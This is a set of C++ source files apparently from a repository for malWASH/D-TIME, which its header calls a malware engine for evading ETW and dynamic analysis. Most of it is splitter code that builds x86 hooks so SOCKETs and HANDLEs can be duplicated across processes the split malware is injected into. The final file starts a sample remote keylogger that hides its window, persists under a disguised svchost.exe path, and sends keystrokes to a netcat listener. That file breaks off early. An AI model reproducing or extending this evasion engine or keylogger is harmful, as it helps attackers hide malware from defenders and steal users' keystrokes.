auxilary p_list fnames [MAXIMPFUNDECLLEN]; // char type [MAXIMPFUNDECLLEN], // fundecl[MAXIMPFUNDECLLEN]; // this buffer contains the function declaration ea_t iat_addr; // address of function in IAT ushort duploc, done; // local vars uint retval = ANY; // return value iat_addr = get_first_dref_from(iaddr); // get address of function entry in IAT // get type information (to arrays buf and fnames) // WARNING: get_ti is DERPECATED get_ti(iat_addr, buf, MAXIMPFUNDECLLEN, fnames, MAXIMPFUNDECLLEN ); // print type into 1 signle line (merge buf and fnames to produce type) print_type_to_one_line(type, MAXIMPFUNDECLLEN, idati, buf, NULL, NULL, fnames, NULL); // convert type to a normal char* string strcpy_s(fundecl, MAXIMPFUNDECLLEN, qstrdup(type)); // at this point funcdecl contains the full function declaration (without function name). For example // function declaration: // int __stdcall LoadStringW(HINSTANCE hInstance, UINT uID, LPWSTR lpBuffer, int cchBufferMax) // will give us the string: // int __stdcall(HINSTANCE hInstance, UINT uID, LPWSTR lpBuffer, int cchBufferMax) msg( " [*] Getting imported function declaration: %s\n", fundecl ); duploc = 0; // clear iterator done = 0; // not trampolines created so far // now, parse the arguments and search for SOCKET or HANDLE arguments // we'll use secure version of strtok, to get all tokens from function declaration. Delimiters are: '(' // ')' and ','. The first token will be the return type followed by calling convention. Then next tokens // will be the function arguments (type [space] name). for( char *nxttok, *token=strtok_s(fundecl, "(),", &nxttok); token!=NULL; token=strtok_s(NULL, "(),", &nxttok), ++duploc ) { char func[MAXFUNAMELEN] = {0}; // store function name here // because there's a space after delimiter ',', all arguments after 1st will start with a space. // Remove it. if( token[0] == ' ' ) token++; if( strstr(token, "SOCKET") != NULL ) // SOCKET as argument? { // It's very rare to find a function that uses both a handle and a socket. We don't // consider such cases here, although it's not way harder to have trampoline functions // that handle many duplicated arguments if( ++done > 1 ) { fatal("Current version does not create hooks with >1 SOCKET/HANDLE arguments"); return ERROR; } // Special Case when function is closesocket() get_name(BADADDR, iat_addr, func, MAXFUNAMELEN);// get name of address from .idata if( strstr(func, "closesocket") ) // closesocket() is called? { retval = (CLOSESOCK << 8) | duploc; // set return value } else retval = (DUPSOCK << 8) | duploc; // set return value } else if( strstr(token, "HANDLE") != NULL ) // HANDLE as argument? { if( ++done > 1 ) { //fatal("Current version does not create hooks with >1 SOCKET/HANDLE arguments"); //return ERROR; continue; } // Special Case when function is CloseHandle() get_name(BADADDR, iat_addr, func, MAXFUNAMELEN);// get name of address from .idata if( strstr(func, "CloseHandle") ) // CloseHandle() is called? { retval = (CLOSEHANDLE << 8) | duploc; // set return value } else retval = (DUPHANDLE << 8) | duploc; // set return value } } if( retval != ANY ) { msg( " [-] Registering a hook function at %x. Duplicating %s at argument #%d\n", iaddr, ((retval >> 8) == DUPSOCK ? "SOCKET" : "HANDLE"), retval & 0x7FFF ); } return retval; // return type + location } //-----------------------------------------------------------------------------------------------------------
16,182
C++
.cpp
295
51.494915
110
0.621276
pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
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1,531,376
dup_bak_new.cpp
pwnlogs_d-time/splitter/dup_bak_new.cpp
//----------------------------------------------------------------------------------------------------------- /* ** malWASH - The malware engine for evading ETW and dynamic analysis: A new dimension in APTs ** ** ** The splitting engine ** - Version 2.0 ** ** ** dup.cpp ** ** This file contains code for dealing with duplicated SOCKETs and HANDLEs. Most of the job is done on ** executer, but we have to setup the basic structure here. ** ** ** Kyriakos Ispoglou (ispo) - ispo@purdue.edu ** June - July 2015 */ //----------------------------------------------------------------------------------------------------------- #include "malwash.h" // all includes are here //----------------------------------------------------------------------------------------------------------- /* ** crthook(): Create a hook function (detour) to the call/jmp to the imported modules. The role of the hook ** function is double: ** [1]. If SOCKET/HANDLE is used as return value, we have to insert it in duptab of the executer and we ** inform the other injected processes to call WSADuplicateSocket/DuplicateHandle. ** [2]. If SOCKET/HANDLE is used as the i-th argument, we have to replace it with the duplicated one ** before call to the actual function. ** ** NOTE: We can avoid hooks and insert extra code in the middle of block instead. This solution will work ** when we have a basic block split (as there are no relative jumps within blocks). However if we use ** a different splitting mode and each block consist of many basic blocks, this approach won't work. ** ** Arguments: blk (uchar*) : Block opcodes ** blkcnt (uint) : Block size ** duptab (dup_t*) : A pointer to duptab ** dupcnt (uint) : # of duptab entries ** funcrel (funcrel_t*) : A pointer to funcrel ** funrelcnt (uint) : # of funcrel entries ** ** Return Value: Function returns constant ANY. If an error occured, it returns -1 */ uint crthook( uchar blk[], uint *blkcnt, dup_t duptab[], uint dupcnt, funcrel_t funcrel[], uint funrelcnt ) { // redefine these MACROS #define PBYTE1(b) (blk[(*blkcnt)++] = (b) & 0xff) // append a single byte to blk array #define PLONG(l) *(uint*)(blk + *blkcnt) = (l); *blkcnt += 4 // append a 4 byte integer to blk array #define PBYTE2(a, b) PBYTE1(a); PBYTE1(b) // append 2 bytes to blk array #define PBYTE3(a, b, c) PBYTE2(a, b); PBYTE1(c) // append 3 bytes to blk array #define PBYTE4(a, b, c, d) PBYTE3(a, b, c); PBYTE1(d) // append 4 bytes to blk array #define SET_EBX(target) PBYTE1(0xBB); PLONG(target) // write the instruction mov ebx, _long_ // this MACRO changes a function relocation offset from and old (o) to a new (n) value: #define movreloff(o, n) \ for(uint i=0; i<funrelcnt; i++ ) \ if( funcrel[i].boff == (o) ) \ { \ funcrel[i].boff = (n); \ break; \ } ushort jmpoff = *blkcnt; // store current block size bool indhook = false, // flag for indicating indirect hooks callreg = false, // flag for indicating indirect calls with register hdlptr = false; // flag for HANDLE pointers if( dupcnt == 0 ) return SUCCESS; // if there's no need for duplications, exit // reserve 5 bytes for adding a relative far jump to skip function definitions. // (we can add a relative near jump (1 byte offset) but it's dangerous) *blkcnt += 5; for(uint d=0; d<dupcnt; d++, indhook=false, callreg=false, hdlptr=false ) // for each entry in duptab { if( blk[duptab[d].boff] == 0x8b || // mov reg, __imp__closesocket blk[duptab[d].boff] == 0xa1 ) // mov eax, __imp__closesocket { // // In this case we have a call to a dup* function through an indirect way: At first we assign // dup*'s function address to a register and then we "call" that register. However we don't // know at this point whether the "call reg" instruction follows (because it may be on a // different block. So, we'll assume that a "call reg" instruction follows. Furthermore we // require that between "mov" and "call", the register remain intact; Otherwise we don't know // the calling function: // .text:0040136B 8B 35 54 20 40 00 mov esi, ds:CloseHandle ; block #1 // .text:00401371 ... // .text:00401374 FF D6 call esi ; block #7 // .text:00401376 ... // // In direct function calls/jumps we directly modify the call/jump instruction to point at the // end of the block. Now we have some troubles: // [1]. The "call reg" instruction is 2 bytes long. We cannot make a call at the end of the // block, cause it's 5 bytes. However we can use a 1-byte relative jump, hoping that // the end of the block size is in <128 bytes. // [2]. The obvious problem of [1], can be solved by modifying function address of at the "mov" // instruction. Unfortunately this "call reg" uses an absolute address. We don't know the // exact address of our hook at the end of the block, so we cannot call it. // [3]. Even we're able to determine the exact address at the end of the block, we still have // problems. Let's say that esi gets address of socket() at block 1. We replace it with // the absolute address of our hook. At block 2 there's the "call esi". At that point the // address of esi will be invalid as long as blocks 1 & 2 get executed under different // address spaces. // // NOTE: Keep in mind that the mov instruction uses INDIRECT values. Thus the value that we // set to esi will be a pointer to the real value and not the real value itself. // // NOTE 2: This is a very rare case! // // // * * * The proposed solution is the following: // [1]. Define function const_detour() at a predefined address. Map this region to all procceses // at the same address. // [2]. Replace dup* function address with the absolute address of const_detour(). Thus we can // transfer control there. // [3]. Now we must somehow jump to the end of the block. We know that we called const_detour() // from the basic block. Thus, the return address will be somewhere within the block. // [4]. Just before our normal hook we add a unique 4-byte signature. // [5]. From const_detour() we search down for that signature. Once we find it we transfer control // there. // [6]. At the end of the block we have the "classic" code for handling duplicated SOCKETs/HANDLEs. // msg(" [-] Reaching indirect mov with an imported function address.\n" ); indhook = true; // enable indirect hooks } else if( blk[duptab[d].boff] == 0xff && // call reg ? blk[duptab[d].boff + 1] >= 0xd0 && // where reg, is a register blk[duptab[d].boff + 1] <= 0xd7 ) { msg(" [-] Reaching indirect call with register.\n" ); callreg = true; // enable register calls } else if( blk[duptab[d].boff + 1] != 0x15 && // we consider only indirect calls blk[duptab[d].boff + 1] != 0x25 ) // or indirect jumps :) { // we have an indirect jump to imported library. // we can handle it by doing exactly the same thing with indirect jumps in patchblk(). // however because we'll end up with large code snippets, we won't handle in this version fatal( "Current version cannot duplicate trampoline HANDLE/SOCKET functions" ); return ERROR; // abort } if( (duptab[d].loc & 0xff) == 0 || // duplicate return value (duptab[d].loc & 0x80) != 0 || // or return value & argument (duptab[d].loc >> 24) == DUPPTRHANDLE ) // or duplicate a handle pointer? { // // In such cases, we have a call to a function that returns a SOCKET/HANDLE: // .text:0041185C 52 push edx // .text:0041185D FF 15 8C A4 41 00 call ds:__imp__socket@12 // .text:00411863 89 85 6C FE FF FF mov [ebp+sock], eax // // We replace the function call with a nop (1 byte) + a relative jump to hook (5 bytes): // e9 ?? ?? 00 00 jmp +???? <hook> // (we don't use a call because this will modify the stack and the 1st argument won't be // in esp+4 anymore). // // We store the hook at the end of the normal basic block. The first job of the hook is // to execute the replaced instruction call/jmp. // After call, eax will contain the SOCKET/HANDLE value. Then we call a function that is // responsible for inserting the handle in the duplicate's table, duplicating it and informing // other processes to use the duplicated handle. // However we don't know the address of this function and we have to resolve it at runtime. // Thus we insert a call but we leave the address empty. Note that this call should return the // original SOCKET/HANDLE value. After this call we jump to the instruction right after the call // to the hook. In the above example, the code will be changed to: // // seg000:0000002F 52 push edx // seg000:00000030 90 nop // seg000:00000031 E9 3F 00 00 00 jmp loc_75 // seg000:00000036 loc_36: // seg000:00000036 89 85 6C FE FF FF mov [ebp-194h], eax // ... // seg000:00000075 loc_75: // seg000:00000075 FF 15 8C A4 41 00 call dword ptr ds:41A48Ch ; ds:__imp__socket@12 // seg000:0000007B E8 90 90 90 90 call near ptr 90909110h // seg000:00000080 E9 B1 FF FF FF jmp loc_36 // // NOTE: Handling this: jmp ds:__imp__socket@12. It's tricky. First of all, this jump will // be the last instruction of a block and thus, will be replaced by a bunch of instructions // from patchblk(). patchblk() will replace the return address with a fake one. We must // add some offset to that return address, because we want to return to the instruction // below and not to the "return_here" label which is the default return address in indirect // jumps. // ushort imploc = *blkcnt + 2, // new offset of call to the imported module duprepl; // offset of the unknonw dup* function uint indjmpoff; // in case of indirect jumps (not calls) some // offsets must change // In case that we have both an argument and a return address, we combine the 2 methods: // .text:00401101 push edi // .text:00401102 call ds:accept // .text:00401108 mov esi, eax // // The above code becomes: // seg000:0000002D 57 push edi // seg000:0000002E 90 nop // seg000:0000002F E9 44 00 00 00 jmp loc_78 // seg000:00000034 loc_34: // seg000:00000034 8B F0 mov esi, eax // ... // seg000:00000078 loc_78: // seg000:00000078 8B 44 24 00 mov eax, [esp+0] // seg000:0000007C E8 90 90 90 90 call near ptr 90909111h // seg000:00000081 89 44 24 00 mov [esp+0], eax // seg000:00000085 FF 15 34 61 40 00 call dword ptr ds:406134h // seg000:0000008B E8 90 90 90 90 call near ptr 90909120h // seg000:00000090 E9 9F FF FF FF jmp loc_34 // // // However there's another case: PHANDLE. Here, a HANDLE is returned from the function but // not as a return value, but through an indirect pointer that passed as argument. We work // similar here, except that instead of storing the eax (return value) in *duptab, we store // the right argument first: // if( (duptab[d].loc & 0x80) ) // duplicate an argument? { msg( " [+] Creating a hook function for return value and argument %d at offset %d\n", duptab[d].loc & 0x7f, duptab[d].boff & 0xff ); duprepl = *blkcnt; // get offset of dup* function call // insert a: "mov eax, DWORD PTR [esp+0x?]" (8b 44 24 0?) to read thea argument that needs to // be duplicated. ? is the argument location*4 // WARNING: Because we use a jmp instead of a call, there's no return value at the top of the stack. // Thus the 1st argument will be at [esp], and not at [esp+4] PBYTE4( 0x8B, 0x44, 0x24, ((duptab[d].loc & 0x7f) - 1) << 2 ); PBYTE1( 0xe8 ); // call PLONG( 0x90909090 ); // we can use this space to store info // after call, replace the argument with the duplicated one: // "mov DWORD PTR [esp+0x?], eax" (89 44 24 0?) PBYTE4( 0x89, 0x44, 0x24, ((duptab[d].loc & 0x7f) - 1) << 2 ); imploc = *blkcnt + 2; // update imported function offset } else if( (duptab[d].loc >> 24) == DUPPTRHANDLE ) { hdlptr = true; // enable flag } else msg( " [+] Creating a hook function for return value at offset %d\n", duptab[d].boff); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ** TODO: Implement "callreg" when HANDLE/SOCKET is a return value ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ if( blk[duptab[d].boff + 1] == 0x25 ) // indirect jump instead of call? { // we must adjust the fake return address. We want to return at the instruction below // and not at "return_here" (see indirect jumps in reloc.cpp->patchblk()). // all we have to do is to add some offset to the current return address: // 83 04 24 ?? add DWORD PTR [esp], 0x?? // // Calculating the right offset: // Because PBYTE4 is 4 PBYTE1, at the last point, blkcnt will already increased by 3. // The real value is *blkcnt - 3, which points at the beginning of the last instruction. // duptab[d].boff - 2 is the beginning of the instruction before detour, +6 to go to the // next instruction. Their difference gives the offset from the original return address // to the desired one. PBYTE4( 0x83, 0x04, 0x24, (*blkcnt - 3 - duptab[d].boff - 2 + 6) & 0xff ); imploc = *blkcnt + 2; // update imported function offset indjmpoff = -4; // slightly change jump to include the above instr. } else indjmpoff = 0; // otherwise don't change offsets if( indhook ) { // in indirect hooks start with signature PBYTE2( 0xeb, 0x04 ); // jump 4 bytes ahead PLONG(DUPUNIQUESIG); // add magic signature } if( blk[duptab[d].boff] == 0xa1 ) PBYTE1(0x90); // add some space because this instr. is 5 bytes memcpy(&blk[*blkcnt], &blk[duptab[d].boff], 6); // move call/jmp instr. to the end of the block if( indhook ) { // in indirect hooks we do different modifications *blkcnt -= blk[duptab[d].boff]==0xa1 ? 1:0; // adjust counter in case of 5 byte instruction blk[*blkcnt + 0] = 0xff; // we have copy the "mov" and the end of the block blk[*blkcnt + 1] = 0x15; // change it to "call" } else *(uint*)(blk + duptab[d].boff + (blk[duptab[d].boff] == 0xa1 ? 1 : 2 )) = !indhook ? (((duptab[d].loc & 0x80) ? duprepl : *blkcnt) - duptab[d].boff - 6 + indjmpoff) : DUPDETOURADDR; // mov reg, __imp__closesocket => mov reg, [DUPDETOURADDR] *blkcnt += 6; // increase counter duprepl = *blkcnt + 1; // get offset of dup* function call if( hdlptr ) { /* 50 push eax 8b 44 24 10 mov eax,DWORD PTR [esp+0x10] 8b 00 mov eax,DWORD PTR [eax] 58 pop eax */ PBYTE1( 0x50 ); // push eax PBYTE4( 0x8b, 0x44, 0x24, 0x100 - ((((duptab[d].loc >> 8) & 0xff) + 1 + 2) << 2) ); PBYTE2( 0x8b, 0x00 ); // mov eax, [eax] duprepl += 7; duptab[d].loc = (duptab[d].loc & 0x00ffffff) | (DUPPTRHANDLE << 24); } PBYTE1( 0xe8 ); // call PLONG( 0x90909090 ); // we can use this space to store info // if( hdlptr ) PBYTE1( 0x58 ); // pop eax if( !indhook ) { // relocate only in direct hooks PBYTE1( 0xe9 ); // jump back to the instruction after hook PLONG(-(int)(*blkcnt - duptab[d].boff - 2));// calculate offset // don't forget these! blk[ duptab[d].boff ] = 0x90; // nop blk[duptab[d].boff+1] = 0xe9; // jump + find the offset } else PBYTE1( 0xc3 ); // we already have the return address // because we moved a call to an imported module, we have to update the offset in funcrel // table. Otherwise we'll try to relocate a function at the wrong offset movreloff(duptab[d].boff+2, imploc); duptab[d].boff = duprepl; // boff now points to unknown dup* function } else { // duplicate an argument? // // Now, we have a call/jmp to a function that takes a SOCKET/HANDLE as argument: // .text:00411883 51 push ecx // .text:00411884 FF 15 88 A4 41 00 call ds:__imp__connect@12 // .text:0041188A 83 F8 FF cmp eax, 0FFFFFFFFh // // We replace the function call with a nop (1 byte) + a relative call to hook (5 bytes): // e8 ?? ?? 00 00 call +???? <hook> // // This time, the first job of the hook, is to read the argument that needs to be duplicated // and call a function from dup* family to find the right duplicated SOCKET/HANDLE for this // process. Then we have to replace the original argument with the duplicated one. // Finally we jump to the imported module (instead of call). Once we execute a "retn" inside // the imported module, we'll return to the instruction after the call. Let's see how the above // example becomes: // // seg000:00000056 51 push ecx // seg000:00000057 90 nop // seg000:00000058 E8 28 00 00 00 call sub_85 // seg000:0000005D 83 F8 FF cmp eax, 0FFFFFFFFh // ... // seg000:00000085 sub_85 proc near // seg000:00000085 8B 44 24 04 mov eax, [esp + 0x04] // seg000:00000089 E8 90 90 90 90 call near ptr 9090911Eh // seg000:0000008E 89 44 24 04 mov [esp + 0x04], eax // seg000:00000092 FF 25 88 A4 41 00 jmp dword ptr ds:41A488h ; ds:__imp__connect@12 // // If we want to replace 2 arguments we can easily generalize this method: // seg000:0000008D 90 nop // seg000:0000008E E8 12 00 00 00 call sub_A5 // seg000:00000093 3B F4 cmp esi, esp // ... // seg000:000000A5 8B 44 24 04 mov eax, [esp+arg_0] // seg000:000000A9 87 5C 24 08 xchg ebx, [esp+arg_4] // seg000:000000AD E8 90 90 90 90 call near ptr 90909142h // seg000:000000B2 89 44 24 04 mov [esp+arg_0], eax // seg000:000000B6 87 5C 24 08 xchg ebx, [esp+arg_4] // seg000:000000BA FF 25 68 C2 42 00 jmp dword ptr ds:42C268h // // In this case we use both eax and ebx to store the arguments. However we have to call a different // function (not locduphdl(), which replaces eax only). The new function will call locduphdl() twice // and will return the right value to eax and ebx respectively. We can easily generalize this method // to duplicate >2 arguments. However it's very rare to meet such cases, so we'll only use the simple // method here. // // NOTE: If we have indirect jump instead (jmp ds:__imp__connect@12), all we have to do, is to replace // the first call (call sub_85) with a jump (jmp sub_85) // // NOTE 2: We can eax without taking a backup. During a function call, eax will have the return value, // so eax is not important before function call (library functions use __cdelc or __stdcall, thus // it's impossible to pass arguments through eax). // ushort duprepl; // offset of the unknonw dup* function msg( " [+] Creating a hook function for argument %d at offset %d\n", duptab[d].loc & 0xff, duptab[d].boff); if( indhook || callreg ) { // in indirect hooks start with signature PBYTE2( 0xeb, 0x04 ); // jump 4 bytes ahead PLONG(DUPUNIQUESIG); // add magic signature } // insert a: "mov eax, DWORD PTR [esp+0x?]" (8b 44 24 0?) to read thea argument that needs to // be duplicated. ? is the argument location*4 PBYTE4( 0x8B, 0x44, 0x24, (duptab[d].loc & 0xff) << 2 ); if( duptab[d].loc >> 24 == DUPHANDLE2 || duptab[d].loc >> 24 == DUPSOCK2 ) { // we have 2 arguments. Use ebx register also: // xchg DWORD PTR [esp+0x??], ebx PBYTE4( 0x87, 0x5c, 0x24, ((duptab[d].loc & 0xff00) >> 8) << 2 ); } duprepl = *blkcnt + 1; // get offset of dup* function call PBYTE1( 0xe8 ); // call PLONG( 0x90909090 ); // we can use this space to store info // after call, replace the argument with the duplicated one: // "mov DWORD PTR [esp+0x?], eax" (89 44 24 0?) PBYTE4( 0x89, 0x44, 0x24, (duptab[d].loc & 0xff) << 2 ); if( duptab[d].loc >> 24 == DUPHANDLE2 || duptab[d].loc >> 24 == DUPSOCK2 ) { // restore ebx and patch the duplicataed argument in 1 step :) PBYTE4( 0x87, 0x5c, 0x24, ((duptab[d].loc & 0xff00) >> 8) << 2 ); } if( blk[duptab[d].boff] == 0xa1 ) PBYTE1(0x90); // add some space because this is 5 bytes memcpy(&blk[*blkcnt], &blk[duptab[d].boff], 6); // move call/jmp in the hook // if callreg = 1, move garbage // Convert call to jump (indirect jump and indirect call differ only in 2nd byte: // FF 25 B8 A3 41 00 jmp ds:__imp__memset ; 5 // FF 15 88 A4 41 00 call ds:__imp__connect@12 // 8B 35 88 A4 41 00 mov esi, ds:__imp__connect@12 blk[ (*blkcnt) + 0 ] = 0xff; // useful only when we have a "mov" blk[ (*blkcnt) + 1 ] = 0x25; // convert call to jmp if( !callreg ) { // if we don't have indirect calls if( !indhook ) { // relocate only in direct hooks blk[ duptab[d].boff ] = 0x90; // nop blk[duptab[d].boff+1] = blk[duptab[d].boff + 1] == 0x15 ? 0xe8 : // if we have an indirect call, then use call (0xe8) 0xe9; // otherwise use an indirect jump (0xe9) } // In case of an indirect hook (mov) we simply use the const_detour() address. We check // whether we use eax (5 bytes) or other register (6 bytes). In call/jmp: // // find the call offset: // 4 bytes for: mov eax, DWORD PTR [esp+0x?] // 5 bytes for call to dup* function // 4 bytes for: mov DWORD PTR [esp+0x?], eax // 6 bytes for indirect jump to imported moodule // +4 +4 for 2 xchg instructions in case of double argument replacement *(uint*)(blk + duptab[d].boff + (blk[duptab[d].boff] == 0xa1 ? 1 : 2)) = !indhook ? (*blkcnt - duptab[d].boff - 4 - 5 - 4 - 6 - ((duptab[d].loc >> 24 == DUPHANDLE2 || duptab[d].loc >> 24 == DUPSOCK2) ? 4 + 4 : 0)) : DUPDETOURADDR; // mov reg, __imp__closesocket => mov reg, [DUPDETOURADDR] } // update function relocation movreloff(duptab[d].boff+(blk[duptab[d].boff] == 0xa1 ? 1 : 2), *blkcnt + 2); duptab[d].boff = duprepl; // boff now points to unknown dup* function *blkcnt += 6; // adjust block size } } // we insert hooks at the end of basic block. We have to finish basic block with a jump to skip hooks: blk[ jmpoff ] = 0xe9; // jump *(uint*)(blk + jmpoff + 1) = (*blkcnt - jmpoff - 5); // find offset (5 = jump size) return SUCCESS; // return #undef SET_EBX // undefine MACROS #undef PBYTE4 #undef PBYTE3 #undef PBYTE2 #undef PLONG #undef PBYTE1 } //----------------------------------------------------------------------------------------------------------- /* ** dupchk(): This function checks whether an imported function from a module uses a SOCKET or a HANDLE. ** Because subsequent blocks of the splitted program will be in different processes, we'll have ** troubles. If process 1 open a socket, then process 2 cannot write to it. Fortunately, functions ** WSADuplicateSocket() and DuplicateHandle() can solve this problem. ** IDA helps us for one more type. When we have a call/jmp to an imported module, the first data xref ** from this address, will always point to an entry inside IAT. By reading the type of this entry we ** identify the imported function declaration with high detail. For instance: ** SOCKET __stdcall socket(int af, int type, int protocol) ** From the above string it's very easy to see if and which arguments (or the return value) use a ** socket. Thus we can avoid having a huge list of all function that use socket/handles and check each ** imported function against this list to see if the latter uses any socket/handles. ** ** Arguments: iaddr (ea_t) : Address of the instruction that transfers control to the imported module ** ** Return Value: If any errors occured, the return value is -1. Otherwise function returns a 32bit number ** The 8 LSBits of this number denote the location of the argument whereas the 8 MSBits the duplication ** type (0 for HANDLE, or 1 for SOCKET). If function has 2 arguments that needs to be duplicated, the ** 2 LSBytes will have the argument locations. (In case of 1 argument + return value, both will be on ** LSByte). */ uint dupchk( ea_t iaddr ) { type_t buf [MAXIMPFUNDECLLEN]; // the first 3 buffers are auxilary p_list fnames [MAXIMPFUNDECLLEN]; // char func [MAXFUNAMELEN]; // function name char type [MAXIMPFUNDECLLEN], // fundecl[MAXIMPFUNDECLLEN]; // this buffer contains the function declaration ea_t iat_addr; // address of function in IAT ushort duploc, done; // local vars uint retval = ANY; // return value // don't duplicate CreateThread get_name(BADADDR, get_first_dref_from(iaddr) != BADADDR ? get_first_dref_from(iaddr) : // for "call __imp__closesocket" get_next_cref_from(iaddr, get_first_cref_from(iaddr)), // for "call esi; __imp__closesocket" func, MAXFUNAMELEN); if( strstr(func, "CreateThread" ) ) // check if it is CreateThread() return ANY; iat_addr = get_first_dref_from(iaddr) != BADADDR ? // get address of function entry in IAT get_first_dref_from(iaddr) : get_next_cref_from(iaddr, get_first_cref_from(iaddr)); // get type information (to arrays buf and fnames) // WARNING: get_ti is DERPECATED get_ti(iat_addr, buf, MAXIMPFUNDECLLEN, fnames, MAXIMPFUNDECLLEN ); // print type into 1 signle line (merge buf and fnames to produce type) print_type_to_one_line(type, MAXIMPFUNDECLLEN, idati, buf, NULL, NULL, fnames, NULL); // convert type to a normal char* string strcpy_s(fundecl, MAXIMPFUNDECLLEN, qstrdup(type)); // if( !strcmp(func, "NtClose" ) ) // check if it is CreateThread() // strcpy_s(fundecl, MAXIMPFUNDECLLEN, "BOOL __stdcall (HANDLE hObject)"); // at this point funcdecl contains the full function declaration (without function name). For example // function declaration: // int __stdcall LoadStringW(HINSTANCE hInstance, UINT uID, LPWSTR lpBuffer, int cchBufferMax) // will give us the string: // int __stdcall(HINSTANCE hInstance, UINT uID, LPWSTR lpBuffer, int cchBufferMax) msg( " [*] Getting imported function declaration: %s\n", fundecl ); duploc = 0; // clear iterator done = 0; // not trampolines created so far // now, parse the arguments and search for SOCKET or HANDLE arguments // we'll use secure version of strtok, to get all tokens from function declaration. Delimiters are: '(' // ')' and ','. The first token will be the return type followed by calling convention. Then next tokens // will be the function arguments (type [space] name). for( char *nxttok, *token=strtok_s(fundecl, "(),", &nxttok); token!=NULL; token=strtok_s(NULL, "(),", &nxttok), ++duploc ) { char func[MAXFUNAMELEN] = {0}; // store function name here // because there's a space after delimiter ',', all arguments after 1st will start with a space. // Remove it. if( token[0] == ' ' ) token++; // // It's very rare to find a function that uses more than one socket/handle as arguments. // A distinct example is accept() which takes a SOCKET as an argument and returns a SOCKET. // In the same category belogs CreateFile() which takes a HANDLE as argument and returns a // HANDLE. So, let's enumerate the possible cases here: // [1]. SOCKET a(int, ...) --> VALID // [2]. int b(SOCKET, ...) --> VALID // [3]. SOCKET c(SOCKET, ...) --> VALID // [4]. int d(SOCKET, SOCKET, ...) --> VALID // [5]. SOCKET e(SOCKET, SOCKET, ...) --> INVALID // [6]. int f(HKEY, ..., PHKEY) --> VALID // // We only consider cases [1, 2, 3, 4] here, although it's not way harder to have trampoline // functions that handle many duplicated arguments. Case [5] is very rare (if not impossible) // to find it. The same are true for for HANDLEs. // You can meet case [6] in Windows Registry functions. In [6] we have to store the last (always // the last) argument in duptab, instead of replacing it. // if( strstr(token, "SOCKET") != NULL ) // SOCKET as argument? { if( ++done > 1 ) { // parse the arguments from left to right, so in case [3], LSB of retval will be 0. if( retval & 0xff ) { // we have 2 arguments that need to be replaced: 1st arg in LSByte, 2nd in 2nd LSByte retval = (DUPSOCK2 << 24) | (duploc << 8) | (retval & 0xff); if( done > 2 ) { // no more than 2 fatal("Current version does not create hooks with >2 SOCKET arguments"); return ERROR; } } else // if you already have 2 (valid) arguments, then one of these will be >0. Thus you cannot // pass the previous check. If have 1 argument we know that is the return value, so we set // the MSBit: retval = (DUPSOCK << 24) | duploc | 0x80; // set MSBit of LSByte continue; // skip code below } // Special Case when function is closesocket() get_name(BADADDR, iat_addr, func, MAXFUNAMELEN);// get name of address from .idata if( strstr(func, "closesocket") ) // closesocket() is called? { retval = (CLOSESOCK << 24) | duploc; // set return value } else retval = (DUPSOCK << 24) | duploc; // set return value } else if( strstr(token, "PHANDLE") != NULL || // HANDLE or strstr(token, "PHKEY") != NULL ) // HKEY pointer as argument? { // we treat PHANDLE and PHKEY as return values if( ++done > 1 ) { // we know that the 2nd LSByte has the HANDLE/HKEY pointer retval = (DUPPTRHANDLE << 24) | (duploc << 8) | (retval & 0xff); continue; // skip code below } fatal("HANDLE/HKEY pointers can only be the last dup* arguments"); } else if( strstr(token, "HANDLE") != NULL || // HANDLE or strstr(token, "HKEY") != NULL ) // HKEY as argument? { if( ++done > 1 ) { // parse the arguments from left to right, so in case [3], LSB of retval will be 0. if( retval & 0xff ) { // we have 2 arguments that need to be replaced: 1st arg in LSByte, 2nd in 2nd LSByte retval = (DUPPTRHANDLE << 24) | (duploc << 8) | (retval & 0xff) | 0x80; if( done > 2 ) { // no more than 2 fatal("Current version does not create hooks with >2 HANDLE arguments"); return ERROR; } } else // if you already have 2 (valid) arguments, then one of these will be >0. Thus you cannot // pass the previous check. If have 1 argument we know that is the return value, so we set // the MSBit: retval = (DUPHANDLE << 24) | duploc | 0x80; // set MSBit of LSByte continue; // skip code below } // Special Case when function is CloseHandle() get_name(BADADDR, iat_addr, func, MAXFUNAMELEN);// get name of address from .idata if( strstr(func, "CloseHandle") || // CloseHandle() or strstr(func, "RegCloseKey") ) // RegCloseKey() is called? { retval = (CLOSEHANDLE << 24) | duploc; // set return value } else retval = (DUPHANDLE << 24) | duploc; // set return value } } if( retval != ANY ) { msg( " [-] Registering a hook function at %x. Duplicating %s at argument #%d\n", iaddr, ((retval >> 8) == DUPSOCK ? "SOCKET" : "HANDLE"), retval & 0x7F ); } return retval; // return type + location } //-----------------------------------------------------------------------------------------------------------
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1,531,377
main.cpp
pwnlogs_d-time/samples/remoteKeylogger/main.cpp
/*------------------------------------------------------------------------------------------------- * * Sample Malware: Remote Keylogger * Function : Sends keystrokes to DEFAULT_IP (preprocessor directive) * Requirements : A netcat server should be available at the DEFAULT_IP to accept the connection * Use "nc -nvvl -p27015" to start the netcat server * *----------------------------------------------------------------------------------------------- * * Best built in Visual Studio 10 * Porject settings (Configuration Properties): * * 1. C/C++ --> Advanced --> Calling convention * Set __stdcall (Gz) * * 2. C/C++ --> Code Generation --> Buffer Security Check * Set NO * * 3. Linker --> General --> Enable Incremental Linking * Set NO * * 4. Linker --> System --> SubSystem * Set CONSOLE * *-----------------------------------------------------------------------------------------------*/ #define __DEBUG__ //#define __RECEV__ #define DEFAULT_PORT "27015" #define DEFAULT_IP "127.0.0.1" #define DEFAULT_BUFLEN 512 #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include<windows.h> #include<stdio.h> #include<winuser.h> #include<windowsx.h> #include<stdlib.h> #include<string.h> #include <winsock2.h> #include <ws2tcpip.h> #include <iphlpapi.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib, "advapi32") #pragma runtime_checks( "[runtime_checks]", off ) #define BUFSIZE 80 int test_key(void); int create_key(char *); int get_keys(void); int main(void){ /* creating stealth (window is not visible) */ HWND stealth; AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); int test,create; /* check if key is available for opening */ test=test_key(); /* create key */ if (test==2){ /* the path in which the file needs to be */ char *path="c:\\%windir%\\svchost.exe"; create=create_key(path); } int 